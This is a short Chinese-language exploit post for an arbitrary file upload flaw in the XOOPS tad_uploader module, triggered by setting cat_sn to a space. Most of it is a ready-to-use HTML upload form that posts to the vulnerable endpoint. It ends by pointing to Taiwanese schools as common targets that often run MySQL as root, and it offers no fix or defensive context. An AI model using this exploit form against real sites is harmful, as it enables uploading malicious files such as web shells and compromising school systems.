xoops tad_uploader模块上传漏洞

xoops tad_uploader模块上传漏洞分析：

xoops  tad_uploader模块cat_sn参数为空格时可以任意上传文件至uploads/tad_uploader/目录。
利用代码：
<FORM action='http://URL/modules/tad_uploader/index.php' method='POST' enctype='multipart/form-data'>
    <p><b>從硬碟上傳檔案：</b><input type='file' name='cc_file[0]' size='20'></p>
    <p><b>直接從網路取得：</b><input type='text' name='cc_file_url' size='30'><br>（
    <b>檔案說明</b><br><textarea name='cf_desc[0]' cols=50 rows=3 style='width:100%'></textarea>
        <input type='hidden' name='cat_sn' value=' '>
        <input type='hidden' name='op' value='replace_data'>
    <input type='submit' value='送出'>
                </FORM>

台湾那边学校用的比较多，而且mysql root权限的多。